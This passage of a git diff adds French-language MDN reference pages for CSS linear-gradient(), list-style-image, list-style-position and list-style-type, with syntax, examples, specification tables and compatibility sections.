+<p>Cet exemple utilise des points d'arrêt situés à la même position et avec des couleurs différentes. La transition est donc franche et on obtient ainsi des bandes de couleurs.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background: linear-gradient(to right,
+     red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%);
+}</pre>
+
+<p>{{EmbedLiveSample("Un_dégradé_avec_des_points_d’arrêts_à_plusieurs_couleurs", 120, 120)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir la page <a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Utiliser les dégradés CSS</a> pour plus d'exemples.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#linear-gradients', 'linear-gradient()')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#color-stop-syntax', 'Gradient Color-Stops')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Ajout des indices d'interpolation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{Compat("css.types.image.gradient.linear-gradient")}}</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Manipuler les dégradés CSS</a>
+
+  <ul>
+   <li>{{cssxref("radial-gradient", "radial-gradient()")}}</li>
+   <li>{{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}</li>
+   <li>{{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}</li>
+   <li>{{cssxref("conic-gradient")}}</li>
+   <li>{{cssxref("repeating-conic-gradient")}}</li>
+  </ul>
+ </li>
+ <li>Des propriétés sur lesquelles cette fonction peut être utilisée :
+  <ul>
+   <li>{{cssxref("background-image")}}</li>
+   <li>{{cssxref("background")}}</li>
+  </ul>
+ </li>
+ <li><a class="external" href="https://lea.verou.me/css3patterns/">Une collection de motifs construits avec des dégradés CSS, par Léa Verou</a></li>
+ <li><a href="https://cssgenerator.org/gradient-css-generator.html">Générateur de dégradés CSS</a></li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/list-style-image/index.html b/files/fr/web/css/list-style-image/index.html
new file mode 100644
index 0000000000..5dc240279f
--- /dev/null
+++ b/files/fr/web/css/list-style-image/index.html
@@ -0,0 +1,108 @@
+---
+title: list-style-image
+slug: Web/CSS/list-style-image
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/list-style-image
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>list-style-image</code></strong> définit l'image utilisée comme puce devant les <a href="fr/HTML/%c3%89l%c3%a9ment/li">éléments de listes</a>. On peut également utiliser la propriété raccourcie {{cssxref("list-style")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/list-style-image.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>Note :</strong> Cette propriété s'applique aux éléments d'une liste (c'est-à-dire aux éléments pour lesquels {{cssxref("display")}}<code>: list-item</code><code>;</code>}}). Par défaut, cela inclut les éléments {{HTMLElement("li")}}. Cette propriété peut être héritée par les éléments et si on veut donc gérer une liste de façon uniforme, on pourra appliquer la propriété à l'élément parent (qui correspond en général à {{HTMLElement("ol")}} ou à {{HTMLElement("ul")}}).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé*/
+list-style-image: none;
+
+/*  Valeurs pointant vers une image */
+list-style-image: url('starsolid.gif');
+
+/* Valeurs globales */
+list-style-image: inherit;
+list-style-image: initial;
+list-style-image: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Emplacement de l'image à utiliser comme puce (cf. {{cssxref("&lt;url&gt;")}} pour plus de détails sur les valeurs possibles pour ce type).</dd>
+ <dt><code>none</code></dt>
+ <dd>Aucune image ne sera utilisée comme puce. Si cette valeur est définie, le marqueur défini avec {{cssxref("list-style-type")}} sera utilisé à la place.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ul {
+  list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif");
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+    &lt;li&gt;Élément 1&lt;/li&gt;
+    &lt;li&gt;Élément 2&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#propdef-list-style-image', 'list-style-image')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td>Propriété étendue pour supporter n'importe quel type {{cssxref("&lt;image&gt;")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#propdef-list-style-image', 'list-style-image')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.list-style-image")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}}</li>
+ <li>{{cssxref("list-style-type")}}</li>
+ <li>{{cssxref("list-style-position")}}</li>
+ <li>La fonction {{cssxref("url()", "url()")}}</li>
+</ul>
diff --git a/files/fr/web/css/list-style-position/index.html b/files/fr/web/css/list-style-position/index.html
new file mode 100644
index 0000000000..a9ebac525b
--- /dev/null
+++ b/files/fr/web/css/list-style-position/index.html
@@ -0,0 +1,138 @@
+---
+title: list-style-position
+slug: Web/CSS/list-style-position
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/list-style-position
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>list-style-position</code></strong> permet de définir la position du marqueur (cf. {{cssxref("::marker")}} de liste par rapport à la boîte principale.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/list-style-position.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Pour définir cette propriété, on pourra aussi utiliser la propriété raccourcie {{cssxref("list-style")}}.</p>
+
+<div class="note">
+<p><strong>Notes :</strong></p>
+
+<ul>
+ <li>Cette propriété s'applique aux éléments d'une liste (c'est-à-dire aux éléments pour lesquels {{cssxref("display")}}<code>: list-item</code><code>;</code>). <a href="https://www.w3.org/TR/html5/rendering.html#lists">Par défaut</a>, cela inclut les éléments {{HTMLElement("li")}}. Cette propriété peut être héritée par les éléments et si on veut donc gérer une liste de façon uniforme, on pourra appliquer la propriété à l'élément parent (qui correspond en général à {{HTMLElement("ol")}} ou à {{HTMLElement("ul")}}).</li>
+ <li>Une différence de comportement existe entre les navigateurs lorsqu'un élément de bloc est placé en premier au sein d'un élément de liste avec <code>list-style-position: inside</code>. Chrome et Safari placent l'élément sur la même ligne que la boîte du marqueur. En revanche, Firefox, Internet Explorer et Opera placent l'élément sur la ligne suivante. Voir {{bug("36854")}} pour plus d'informations.</li>
+</ul>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec mot-clé */
+list-style-position: inside;
+list-style-position: outside;
+
+/* Valeurs globales */
+list-style-position: inherit;
+list-style-position: initial;
+list-style-position: unset;
+</pre>
+
+<p>La propriété <code>list-style-position</code> est définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>inside</code></dt>
+ <dd>La boîte du marqueur ({{cssxref("::marker")}}) est la première boîte en ligne (<em>inline</em>) de la boîte principale. Le contenu de l'élément sera appliqué à la suite de la boîte du marqueur.</dd>
+ <dt><code>outside</code></dt>
+ <dd>La boîte du marqueur ({{cssxref("::marker")}}) est en dehors de la boîte principale.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css;">.one {
+  list-style:square inside;
+}
+
+.two {
+  list-style-position: outside;
+  list-style-type: circle;
+}
+
+.three {
+  list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif");
+  list-style-position: inherit;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="one"&gt; Liste 1
+  &lt;li&gt;Élément 1-1&lt;/li&gt;
+  &lt;li&gt;Élément 1-2&lt;/li&gt;
+  &lt;li&gt;Élément 1-3&lt;/li&gt;
+  &lt;li&gt;Élément 1-4&lt;/li&gt;
+&lt;/ul&gt;
+&lt;ul class="two"&gt; Liste 2
+  &lt;li&gt;Élément 2-1&lt;/li&gt;
+  &lt;li&gt;Élément 2-2&lt;/li&gt;
+  &lt;li&gt;Élément 2-3&lt;/li&gt;
+  &lt;li&gt;Élément 2-4&lt;/li&gt;
+&lt;/ul&gt;
+&lt;ul class="three"&gt; Liste 3
+  &lt;li&gt;Élément 3-1&lt;/li&gt;
+  &lt;li&gt;Élément 3-2&lt;/li&gt;
+  &lt;li&gt;Élément 3-3&lt;/li&gt;
+  &lt;li&gt;Élément 3-4&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","420")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#list-style-position-property', 'list-style-position')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#propdef-list-style-position', 'list-style-position')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.list-style-position")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}}</li>
+ <li>{{cssxref("list-style-type")}}</li>
+ <li>{{cssxref("list-style-image")}}</li>
+ <li>{{cssxref("::marker")}}</li>
+</ul>
diff --git a/files/fr/web/css/list-style-type/index.html b/files/fr/web/css/list-style-type/index.html
new file mode 100644
index 0000000000..fce26cdf01
--- /dev/null
+++ b/files/fr/web/css/list-style-type/index.html
@@ -0,0 +1,614 @@
+---
+title: list-style-type
+slug: Web/CSS/list-style-type
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/list-style-type
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>list-style-type</code></strong> permet de définir l'apparence de la puce d'un élément de liste (un cercle, un caractère, un compteur spécifique, etc.).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/list-style-type.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La <a href="/fr/docs/Web/CSS/color_value">couleur</a> de la puce utilisée sera la même que la couleur calculée de l'élément sur lequel elle s'applique.</p>
+
+<p>Cette propriété s'applique aux éléments d'une liste (c'est-à-dire les éléments pour lesquels on a {{cssxref("display")}}<code>: list-item;</code>. Cela inclut par défaut les éléments {{HTMLElement("li")}} et {{HTMLElement("summary")}}. Il est possible de l'utiliser pour d'autres éléments si on utilise <code>display: list-item</code> sur ceux-ci. Cette propriété est héritée et on peut donc l'appliquer aux éléments parents (généralement {{HTMLElement("ol")}} ou {{HTMLElement("ul")}}) afin qu'elle s'applique à l'ensemble des éléments fils.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Liste partielle des mots-clés utilisables */
+list-style-type: disc;
+list-style-type: circle;
+list-style-type: square;
+list-style-type: decimal;
+list-style-type: georgian;
+list-style-type: cjk-ideographic;
+list-style-type: kannada;
+
+/* Une chaîne de caractères */
+/* Type &lt;string&gt;            */
+list-style-type: '-';
+
+/* Un identifiant correspondant à */
+/* une règle @counter-style       */
+list-style-type: custom-counter-style;
+
+/* Valeur avec un mot-clé */
+list-style-type: none;
+
+/* Valeurs globales */
+list-style-type: inherit;
+list-style-type: initial;
+list-style-type: unset;
+</pre>
+
+<p>La propriété <code>list-style-type</code> peut être définie grâce à :</p>
+
+<ul>
+ <li>une valeur <code><a href="#custom-ident">&lt;custom-ident&gt;</a></code></li>
+ <li>une valeur <code><a href="#symbol">symbols()</a></code></li>
+ <li>une valeur <code><a href="#str">&lt;string&gt;</a></code></li>
+ <li>au mot-clé <code><a href="#none*">none</a></code></li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="symbol">{{cssxref("symbols()")}}</a></dt>
+ <dd>Définit un style de puce utilisé.</dd>
+ <dt><a id="none*"><code>none</code></a></dt>
+ <dd>Aucun marqueur n'est affiché.</dd>
+ <dt><a id="str">{{cssxref("&lt;string&gt;")}}</a></dt>
+ <dd>La chaîne de caractères indiquée sera utilisée comme puce</dd>
+ <dt><a id="custom-ident">{{cssxref("custom-ident", "&lt;custom-ident&gt;")}}</a></dt>
+ <dd>Un identifiant correspondant à la valeur d'un {{cssxref("@counter-style")}} ou à un style prédéfini :</dd>
+</dl>
+
+<dl style="background: rgb(238, 238, 238); padding: 0.5em 0px 0.5em 0.5em; border: 1px solid powderblue; font-size: 90%; -moz-column-width: 20em; -webkit-columns: 20em; -moz-column-rule: 1px solid powderblue; -webkit-column-rule: 1px solid powderblue;">
+ <dt><code>disc</code></dt>
+ <dd>
+ <ul style="list-style-type: disc;">
+  <li>Un disque plein (la valeur par défaut)</li>
+ </ul>
+ </dd>
+ <dt><code>circle</code></dt>
+ <dd>
+ <ul style="list-style-type: circle;">
+  <li>Un cercle vide</li>
+ </ul>
+ </dd>
+ <dt><code>square</code></dt>
+ <dd>
+ <ul style="list-style-type: square;">
+  <li>Un carré plein</li>
+ </ul>
+ </dd>
+ <dt><code>decimal</code></dt>
+ <dd>
+ <ul style="list-style-type: decimal;">
+  <li>Des nombres en base 10</li>
+  <li>Commençant par 1</li>
+ </ul>
+ </dd>
+ <dt><code>cjk-decimal</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul>
+  <li>Nombres décimaux Han</li>
+  <li>E.g. 一, 二, 三, ..., 九八, 九九, 一〇〇</li>
+ </ul>
+ </dd>
+ <dt><code>decimal-leading-zero</code></dt>
+ <dd>
+ <ul style="list-style-type: decimal-leading-zero;">
+  <li>Nombres en base 10</li>
+  <li>Avec des 0 devant</li>
+  <li>E.g. 01, 02, 03, … 98, 99</li>
+ </ul>
+ </dd>
+ <dt><code>lower-roman</code></dt>
+ <dd>
+ <ul style="list-style-type: lower-roman;">
+  <li>Nombres romains minuscules</li>
+  <li>Par exemple i, ii, iii, iv, v…</li>
+ </ul>
+ </dd>
+ <dt><code>upper-roman</code></dt>
+ <dd>
+ <ul style="list-style-type: upper-roman;">
+  <li>Nombres romains en majuscules</li>
+  <li>Par exemple I, II, III, IV, V…</li>
+ </ul>
+ </dd>
+ <dt><code>lower-greek</code></dt>
+ <dd>
+ <ul style="list-style-type: lower-greek;">
+  <li>Lettres grecques minuscules</li>
+  <li>alpha, beta, gamma…</li>
+  <li>Par exemple α, β, γ…</li>
+ </ul>
+ </dd>
+ <dt><code>lower-alpha</code></dt>
+ <dt><code>lower-latin</code></dt>
+ <dd>
+ <ul style="list-style-type: lower-alpha;">
+  <li>Lettres ASCII en minuscules</li>
+  <li>Par exemple a, b, c, … z</li>
+  <li><code>lower-latin</code> n'est pas pris en charge par les versions avant IE7</li>
+  <li>Voir le tableau de compatibilité</li>
+ </ul>
+ </dd>
+ <dt><code>upper-alpha</code></dt>
+ <dt><code>upper-latin</code></dt>
+ <dd>
+ <ul style="list-style-type: upper-alpha;">
+  <li>Lettres ASCII en majuscules</li>
+  <li>Par exemple A, B, C, … Z</li>
+  <li><code>upper-latin</code> n'est pas pris en charge par les versions avant IE7</li>
+ </ul>
+ </dd>
+ <dt><code>arabic-indic</code></dt>
+ <dt><code>-moz-arabic-indic</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-arabic-indic; list-style-type: arabic-indic;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>armenian</code></dt>
+ <dd>
+ <ul style="list-style-type: armenian;">
+  <li>Système de numérotation arménien</li>
+  <li>(ayb/ayp, ben/pen, gim/keem…</li>
+ </ul>
+ </dd>
+ <dt><code>bengali</code></dt>
+ <dt><code>-moz-bengali</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-bengali; list-style-type: bengali;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>cambodian</code> {{experimental_inline}}*</dt>
+ <dd>
+ <ul style="list-style-type: cambodian;">
+  <li>Exemple</li>
+  <li>est un synonyme pour <code>khmer</code></li>
+ </ul>
+ </dd>
+ <dt><code>cjk-earthly-branch</code></dt>
+ <dt><code>-moz-cjk-earthly-branch</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-cjk-earthly-branch; list-style-type: cjk-earthly-branch;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>cjk-heavenly-stem</code></dt>
+ <dt><code>-moz-cjk-heavenly-stem</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-cjk-heavenly-stem; list-style-type: cjk-heavenly-stem;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>cjk-ideographic</code>{{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: cjk-ideographic;">
+  <li>Identique à <code>trad-chinese-informal</code></li>
+  <li>E.g. 一萬一千一百一十一</li>
+ </ul>
+ </dd>
+ <dt><code>devanagari</code></dt>
+ <dt><code>-moz-devanagari</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-devanagari; list-style-type: devanagari;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>ethiopic-numeric</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: ethiopic-numeric;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>georgian</code></dt>
+ <dd>
+ <ul style="list-style-type: georgian;">
+  <li>Système de numérotation géorgien</li>
+  <li>Par exemple an, ban, gan, … he, tan, in…</li>
+ </ul>
+ </dd>
+ <dt><code>gujarati</code></dt>
+ <dt><code>-moz-gujarati</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-gujarati; list-style-type: gujarati;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>gurmukhi</code></dt>
+ <dt><code>-moz-gurmukhi</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-gurmukhi; list-style-type: gurmukhi;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>hebrew</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: hebrew;">
+  <li>Système de numérotation hébreux</li>
+ </ul>
+ </dd>
+ <dt><code>hiragana</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: hiragana;">
+  <li>あ, い, う, え, お, か, き , …</li>
+  <li>(Japonais)</li>
+ </ul>
+ </dd>
+ <dt><code>hiragana-iroha</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: hiragana-iroha;">
+  <li>い, ろ, は, に, ほ, へ, と  …</li>
+  <li>{{interwiki('wikipedia', 'Iroha')}} est l'ancien ordre japonais pour les syllabes.</li>
+ </ul>
+ </dd>
+ <dt><code>japanese-formal</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: japanese-formal;">
+  <li>Système de numérotation japonais formel utilisé pour les documents légaux ou financiers.</li>
+  <li>E.g., 壱萬壱阡壱百壱拾壱</li>
+  <li>Ces kanjis ont été conçus afin de ne pas pouvoir être confondus avec d'autres</li>
+ </ul>
+ </dd>
+ <dt><code>japanese-informal</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: japanese-informal;">
+  <li>Système de numérotation japonais informel</li>
+ </ul>
+ </dd>
+ <dt><code>kannada</code></dt>
+ <dt><code>-moz-kannada</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-kannada; list-style-type: kannada;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt style="list-style-type: katakana;"><code>katakana</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: katakana;">
+  <li>ア, イ, ウ, エ, オ, カ, キ, …</li>
+  <li>(Japonais)</li>
+ </ul>
+ </dd>
+ <dt><code>katakana-iroha</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: katakana-iroha;">
+  <li>イ, ロ, ハ, ニ, ホ, ヘ, ト, …</li>
+  <li>{{interwiki('wikipedia', 'Iroha')}} correspond à l'ancien ordre japonais pour les syllabes.</li>
+ </ul>
+ </dd>
+ <dt><code>khmer</code></dt>
+ <dt><code>-moz-khmer</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-khmer; list-style-type: khmer;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>korean-hangul-formal</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: korean-hangul-formal;">
+  <li>Système de numérotation coréen hangul .</li>
+  <li>E.g., 일만 일천일백일십일</li>
+ </ul>
+ </dd>
+ <dt><code>korean-hanja-formal</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: korean-hanja-formal;">
+  <li>Système de numérotation formel coréen Han.</li>
+  <li>E.g. 壹萬 壹仟壹百壹拾壹</li>
+ </ul>
+ </dd>
+ <dt><code>korean-hanja-informal</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: korean-hanja-informal;">
+  <li>Système de numérotation coréen hanja numbering.</li>
+  <li>E.g., 萬 一千百十一</li>
+ </ul>
+ </dd>
+ <dt><code>lao</code></dt>
+ <dt><code>-moz-lao</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-lao; list-style-type: lao;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>lower-armenian</code> {{experimental_inline}}*</dt>
+ <dd>
+ <ul style="list-style-type: lower-armenian;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>malayalam</code></dt>
+ <dt><code>-moz-malayalam</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-malayalam; list-style-type: malayalam;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>mongolian</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: mongolian;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>myanmar</code></dt>
+ <dt><code>-moz-myanmar</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-myanmar; list-style-type: myanmar;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>oriya</code></dt>
+ <dt><code>-moz-oriya</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-oriya; list-style-type: oriya;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>persian</code> {{experimental_inline}}</dt>
+ <dt><code>-moz-persian</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-persian; list-style-type: persian;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>simp-chinese-formal</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: simp-chinese-formal;">
+  <li>Système de numérotation formel chinois simplifié.</li>
+  <li>E.g. 壹万壹仟壹佰壹拾壹</li>
+ </ul>
+ </dd>
+ <dt><code>simp-chinese-informal</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: simp-chinese-informal;">
+  <li>Système de numérotation informel chinois simplifié.</li>
+  <li>E.g. 一万一千一百一十一</li>
+ </ul>
+ </dd>
+ <dt><code>tamil</code> {{experimental_inline}}</dt>
+ <dt><code>-moz-tamil</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-tamil; list-style-type: tamil;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>telugu</code></dt>
+ <dt><code>-moz-telugu</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-telugu; list-style-type: telugu;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>thai</code></dt>
+ <dt><code>-moz-thai</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-thai; list-style-type: thai;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>tibetan</code> {{experimental_inline}}*</dt>
+ <dd>
+ <ul style="list-style-type: tibetan;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>trad-chinese-formal</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: trad-chinese-formal;">
+  <li>Système de numérotation formel chinois traditionnel.</li>
+  <li>E.g. 壹萬壹仟壹佰壹拾壹</li>
+ </ul>
+ </dd>
+ <dt><code>trad-chinese-informal</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: trad-chinese-informal;">
+  <li>Système de numérotation informel chinois traditionnel.</li>
+  <li>E.g. 一萬一千一百一十一</li>
+ </ul>
+ </dd>
+ <dt><code>upper-armenian</code> {{experimental_inline}}*</dt>
+ <dd>
+ <ul style="list-style-type: upper-armenian;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>disclosure-open</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: disclosure-open;">
+  <li>Symbole indiquant qu'un <em>widget</em> (comme {{HTMLElement("details")}}) est ouvert.</li>
+ </ul>
+ </dd>
+ <dt><code>disclosure-closed</code> {{experimental_inline}}</dt>
+ <dd>
+ <ul style="list-style-type: disclosure-closed;">
+  <li>Symbole indiquant qu'un <em>widget</em> (comme {{HTMLElement("details")}}) est fermé.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Extensions_non-standards">Extensions non-standards</h3>
+
+<p>D'autres types sont fournis par Gecko (Firefox), Blink (Chrome and Opera) and WebKit (Safari) mais ne sont pas standards. Pour voir les différents navigateurs les supportant, se référer au tableau de compatibilité en bas de page.</p>
+
+<dl style="background: rgb(238, 238, 238); padding: 0.5em 0px 0.5em 0.5em; border: 1px solid powderblue; font-size: 90%; -moz-column-width: 16em; -webkit-columns: 16em; -moz-column-rule: 1px solid powderblue; -webkit-column-rule: 1px solid powderblue;">
+ <dt><code>-moz-ethiopic-halehame</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-ethiopic-halehame;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>-moz-ethiopic-halehame-am</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-ethiopic-halehame-am;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>ethiopic-halehame-ti-er</code></dt>
+ <dt><code>-moz-ethiopic-halehame-ti-er</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-ethiopic-halehame-ti-er;">
+  <li>Exemple</li>
